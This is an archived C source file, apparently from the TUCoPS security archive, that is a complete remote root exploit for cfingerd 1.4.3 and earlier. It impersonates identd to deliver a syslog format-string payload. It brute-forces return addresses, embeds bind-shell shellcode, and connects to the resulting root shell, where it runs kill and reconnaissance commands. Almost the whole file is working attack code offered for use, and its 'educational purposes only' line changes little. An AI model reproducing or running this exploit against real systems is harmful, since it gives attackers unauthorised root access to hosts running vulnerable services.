TUCoPS :: Linux :: Apps A-M :: rdc-cf~1.c

cfingerd exploit

/* remote exploit for linux/x86 - cfingerd <= 1.4.3
 * coded by venomous of rdC - 16/apr/01
 *
 * Its just a common formatstring bug using syslog() incorrectly.
 * We need to bind as identd, so disable your identd in case you are
 * using it.
 *
 * BONUS: eip address is bruteforced, so relax and wait =)
 *
 * NOTE: for sure where we control the format string will change from
 *       platform to platform.
 *       And for sure, the shellcode address will change so maybe you
 *       want to bruteforce this too. (-1500 to +1500 should be fine i guess)
 *
 * REMEMBER: this code is for educational propourses only, do not use
 *           it on machines without authorization.
 *
 * INFO: cfingerd isnt a package of slackware 7.0
 *       cfingerd 1.4.1 is a package of debian 2.2
 *
 * Greets: ka0z, bruj0, dn0, superluck, fugitivo(!)
 *         #flatline, #rdC
 *
 * Credits: To Lez, who found this bug.
 *
 * http://www.rdcrew.com.ar - Argentinian Security Group.
 * venomous@rdcrew.com.ar
 */


#include <stdio.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#define ROOTSHELLPORT 36864

void chld_timeo();
void chld_timeoo();

int sserver;
int cserver;
int phase=0;
int mmm=0;

unsigned long glob;
//unsigned long startaddr = 0xbffffdfc;
unsigned long startaddr = 0xbffffb34;
unsigned long stopaddr  = 0xbffff000;

char pbuf[1024];

char testcode[]=
    "\xeb\x0b\x2e\x72\x64\x43\x2e\x72\x6f\x63\x6b\x73\x2e\xeb\xfe";

char linuxcode[]=
    /* Lamagra bind shellcode modified by me, making it smaller =) - 124b */
    "\xeb\x6e\x5e\x29\xc0\x89\x46\x10"
    "\x40\x89\xc3\x89\x46\x0c\x40\x89"
    "\x46\x08\x8d\x4e\x08\xb0\x66\xcd"
    "\x80\x43\xc6\x46\x10\x10\x88\x46"
    "\x08\x31\xc0\x31\xd2\x89\x46\x18"
    "\xb0\x90\x66\x89\x46\x16\x8d\x4e"
    "\x14\x89\x4e\x0c\x8d\x4e\x08\xb0"
    "\x66\xcd\x80\x89\x5e\x0c\x43\x43"
    "\xb0\x66\xcd\x80\x89\x56\x0c\x89"
    "\x56\x10\xb0\x66\x43\xcd\x80\x86"
    "\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0"
    "\x3f\x41\xcd\x80\xb0\x3f\x41\xcd"
    "\x80\x88\x56\x07\x89\x76\x0c\x87"
    "\xf3\x8d\x4b\x0c\xb0\x0b\xcd\x80"
    "\xe8\x8d\xff\xff\xff\x2f\x62\x69"
    "\x6e\x2f\x73\x68";

struct os
{
    int id;
    char *os;
    char *shellcode;
    int fsc;
    unsigned long shaddr;
    int offset;
};

struct os types[]=
{
    {0, "slackware 7.0 - compiled cfingerd 1.4.2/1.4.3 running from inetd as root", linuxcode, 22, 0xbffffbc4, 30},
    {1, "slackware 7.0 - compiled cfingerd 1.4.2/1.4.3 running from inetd as nobody", linuxcode, 22, 0xbffffbc4, 30},
    {2, "debian 2.2 - default cfingerd 1.4.1 running from inetd as root", linuxcode, 33, 0xbffffb48, 0},
    {3, "debian 2.2 - default cfingerd 1.4.1 running from inetd as nobody", linuxcode, 33, 0xbffffb48, 0},
    {4, NULL, 0, 0xdeadbeef, 0}
};

main(int argc, char *argv[])
{
    struct sockaddr_in sin;
    struct sockaddr_in ssin;
    int fd;
    int x;
    int xx=0;
    int sts=0;
    int pete;
    int a,b,c=22,d=0; /* c is used in case you want to seek the fsc on   */
    int guide=1;      /* your system, starting from 22, change it if you */
    int sel=0;        /* want.                                           */
    int bleh=0;       /*                                                 */
    int off=0;
    int arx=0;
    int niu=0;
    int ye=0;
    char buf[1024];
    char tex[512];

    if (argc < 4)
    {
        printf("cfingerd <= 1.4.3 remote exploit coded by venomous of rdC\n\n");
        printf("Usage: %s <platform> <host> <offset>\n",argv[0]);
        printf("where <platform> is:\n");
        for (x=0 ; types[x].os != NULL ; x++)
            printf("%d for %s\n", types[x].id, types[x].os);
        printf("\nhttp://www.rdcrew.com.ar\n\n");
        exit(1);
    }

    for (x=0 ; types[x].os != NULL ; x++)
    {
        if (types[x].id == atoi(argv[1]) )
        {
            xx++;
            sel = types[x].id;
        }
    }
    if (!xx)
    {
        printf("Unknown platform: %s\n",argv[1]);
        exit(1);
    }

    off = atoi(argv[3]);
    printf("Selected platform: %s (%d)\n",types[sel].os,sel);
    bzero(&sin,sizeof(sin));

    // fake identd
    sin.sin_family = AF_INET;
    sin.sin_port = htons(113);
    sin.sin_addr.s_addr = htonl(INADDR_ANY);

    if ( (fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    {
        perror("socket");
        exit(1);
    }
    if ( (x = bind(fd,(struct sockaddr *)&sin, sizeof(sin)) < 0))
    {
        perror("bind");
        exit(1);
    }

    if ( (xx = listen(fd, 5)) < 0)
    {
        perror("listen");
        exit(1);
    }

    printf("fake identd bound successfuly\n\n");
    printf("pre-phase info: If you need to use the offset you can use safely steps of 120\n\n");
    printf("phase 0: finding eip...  \n");
    while (guide)
    {
        //maybe you need it..
        //        if (!d)
        //        {
        preparebuf(sel, off, ye);
        fconnect(argv[2], ye, 79);
        //        }

        pete = sizeof(ssin);
        if ( (sserver = accept(fd, (struct sockaddr *)&ssin, &pete)) < 0)
        {
            perror("accept");
            exit(1);
        }
        bzero(buf,sizeof(buf));
        read(sserver,buf,sizeof(buf));

        //horrendus debug! :)
#ifdef DEBUG
        printf("\nread(): %s\n",buf);
#endif
        sscanf(buf,"%d,%d",&a,&b);
        bzero(buf,sizeof(buf));
        bzero(tex,sizeof(tex));
        memset(tex,'\x90',119);

        bleh=strlen(pbuf);
        niu = 0;

        while (1)
        {
            if(strlen(pbuf) < 65)
            {
                if (phase==0)
                    pbuf[bleh] = '\x90';
                else
                    pbuf[bleh] = types[sel].shellcode[niu];
                bleh++;
                if (phase==1)
                    niu++;
            }
            else
                break;
        }
        arx = niu;

        if(!phase)
            for(bleh=0 ; bleh < strlen(testcode) ; bleh++)
                tex[119 - strlen(testcode) + bleh] = testcode[bleh];

        else
        {
            if ((119 - (strlen(types[sel].shellcode) - arx)) < 0)
            {
                printf("shellcode too long, exiting\n");
                exit(0);
            }

            for ( bleh=0 ; bleh < ( (strlen(types[sel].shellcode)) - arx) ; bleh++)
                tex[119 - (strlen(types[sel].shellcode)) - arx + bleh] = types[sel].shellcode[bleh+arx];
        }

        snprintf(buf,sizeof(buf),"%s : : : %s", tex, pbuf);
        /* usefull for find the fsc on your system.
         //snprintf(buf,sizeof(buf),"%d , %d : UNIX : 1 : AAAA%%%d$p:fsc:%d\n",a,b,c,c);
        // read about 'd' below
        if (d==2) { c++; d=0; }
        */
        write(sserver,buf,sizeof(buf));

        //the same..
#ifdef DEBUG
        printf("sent: %s\n--------------------\n",buf);
#endif
        close(sserver);
        sleep(2);

        //same..
        //      if(d)
        wait(&sts);
        //      d++;

        /* if something like tcplogd is running there will be 3 connections
         * to identd, so in that case, d==3
         */
        //if(d==2)
        //    d=0;

        if ((WEXITSTATUS(sts)) == 1) // eip/shellcode address ok (at phase 0)
        {
            phase=1; ye=1; sts=0;
            printf("\nphase 1: calculating address of the first chacarcter in our buffer... wait\n");
        }

        if ((WEXITSTATUS(sts)) == 2) // shellcode executed (at phase 1)
        {
            printf("\nphase 2 connecting to rootshell... ");
            fflush(stdout);
            close(fd); //identd fake server
            fconnect(argv[2], 2, ROOTSHELLPORT);
            printf("\n\nThanks for using rdC products!\n\n");
            exit(0);
        }
    }
}

int fconnect(char *hname, int what, int port)
{
    struct hostent *host;
    struct sockaddr_in d;
    int r;
    char hname2[128];
    char response[1024];
    d.sin_family = AF_INET;
    d.sin_port = htons(port);

    bzero(hname2,sizeof(hname2));
    strncpy(hname2,hname,sizeof(hname2));
    host = gethostbyname(hname2);
    if (!host)
    {
        printf("cannot resolve\n");
        exit(0);
    }

    bcopy(host->h_addr, (struct in_addr *)&d.sin_addr, host->h_length);

    cserver = socket(AF_INET, SOCK_STREAM, 0);

    // you can add a timeout here, but supossly you know if the server
    // is up/not firewalled, because you are using it against an authorized
    // machine and not in a script/not authorized machine, right?

    if (connect(cserver, (struct sockaddr *)&d, sizeof(struct sockaddr)) < 0)
    {
        perror("connect");
        exit(1);
    }

    if (what==2)
    {
        printf("connected!\n");
        fflush(stdout);
        rootsox(cserver);
        close(cserver);
        return;
    }

    write(cserver,"a\n",strlen("a\n"));

    if ((fork()) == 0)
    {
        printf("Waiting response...");
        for(r=0 ; r < 19 ; r++)
            printf("\b");
        fflush(stdout);
        bzero(response,sizeof(response));
        if (what==0)
            signal(SIGALRM, chld_timeo);
        else
            signal(SIGALRM, chld_timeoo);

        alarm(30);
        read(cserver,response,sizeof(response));
        if (strstr(response,"SIGILL"))
        {
            printf("Illegal Instruction\r");
            fflush(stdout);
            close(cserver);
            exit(0);
        }
        if (strstr(response,"SIGSEGV"))
        {
            printf("Segmentation Fault.\r");
            fflush(stdout);
            close(cserver);
            exit(0);
        }
        //you might add strings here..
        if (strstr(response,"Sorry, that user doesn't exist") || strstr(response,"Debian GNU/Linux"))
        {
            printf("server not crashed.\r");
            fflush(stdout);
            close(cserver);
            exit(0);
        }
    }
    //close(cserver);
}

/* <huh> */
void chld_timeo()
{
    alarm(0);
    signal(SIGALRM, SIG_DFL);
    printf("EIP FOUND! - SHELLCODE ADDR OK!\n");
    fflush(stdout);
    close(cserver);
    exit(1);
}

void chld_timeoo()
{
    alarm(0);
    signal(SIGALRM, SIG_DFL);
    printf("shellcode executed!\n");
    fflush(stdout);
    close(cserver);
    exit(2);
}
/* </huh> */

int rootsox(int sox)
{
    fd_set  rset;
    int     n;
    char    buffer[4096];

    /* we kill the cfingerd in eternal loop and we run other nice commands ;)
     */
    char *command="/bin/killall -9 cfingerd ; /bin/uname -a ; /usr/bin/id\n";

    send(sox, command, strlen(command), 0);

    for (;;) {
        FD_ZERO (&rset);
        FD_SET (sox, &rset);
        FD_SET (STDIN_FILENO, &rset);

        n = select(sox + 1, &rset, NULL, NULL, NULL);
        if(n <= 0)
            return (-1);

        if(FD_ISSET (sox, &rset)) {
            n = recv (sox, buffer, sizeof (buffer), 0);
            if (n <= 0)
                break;

            write (STDOUT_FILENO, buffer, n);
        }

        if(FD_ISSET (STDIN_FILENO, &rset)) {
            n = read (STDIN_FILENO, buffer, sizeof (buffer));
            if (n <= 0)
                break;

            send(sox, buffer, n, 0);
        }
    }
    return 0;
}

//heavly modified formatstring engine from rdC-LPRng.c exploit - 12/00
preparebuf(int sel, int off, int what)
{
    unsigned long addr;
    unsigned long a, b, c, d;
    int pas1,pas2,pas3,pas4;
    int i;
    char temp[512];
    char buf[512];
    char atemp[128];
    char bufx[512];

    startaddr = startaddr - 0x4;
    addr = startaddr;

    bzero(temp,sizeof(temp));
    bzero(buf,sizeof(buf));
    bzero(bufx,sizeof(bufx));
    bzero(atemp,sizeof(atemp));

    if (addr == stopaddr)
    {
        printf("\nreached stopaddr, change shellcode address/fsc\n");
        exit(1);
    }

    if(what)
    {
        off-=mmm;
        mmm++;
    }

    if (mmm == 185)
    {
        printf("?!.. we cant find the first character of our shellcode!#@\n");
        exit(0);
    }

    snprintf(temp,sizeof(temp),"%p",types[sel].shaddr+types[sel].offset+off);
    sscanf(temp,"0x%2x%2x%2x%2x",&a,&b,&c,&d);
    pas1 = d - (16 * 2);
    pas1 = cn(pas1);
    pas2 = c - d;
    pas2 = cn(pas2);
    pas3 = b - c;
    pas3 = cn(pas3);
    pas4 = a - b;
    pas4 = cn(pas4);

    if(what)
        addr = glob;
    else
        glob = addr;

    printf("eip: %p - shellcode addr: %p - ",addr,types[sel].shaddr+types[sel].offset+off);
    fflush(stdout);

    for (i=0 ; i < 4 ; i++)
    {
        snprintf(atemp,sizeof(atemp),"%s",&addr);
        strncat(buf, atemp, 4);
        addr++;
    }

    snprintf(bufx,sizeof(bufx),"%%.%du%%%d$n%%.%du%%%d$n%%.%du%%%d$n%%.%du%%%d$n",pas1,(types[sel].fsc),pas2,(types[sel].fsc)+1,pas3,(types[sel].fsc)+2,pas4,types[sel].fsc+3);
    strcat(buf,bufx);
    bzero(pbuf,sizeof(pbuf));
    strncpy(pbuf,buf,sizeof(pbuf));
}

cn(unsigned long addr)
{
    char he[128];

    snprintf(he,sizeof(he),"%d",addr);
    if (atoi(he) < 8)
        addr = addr + 256;

    return addr;
}

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH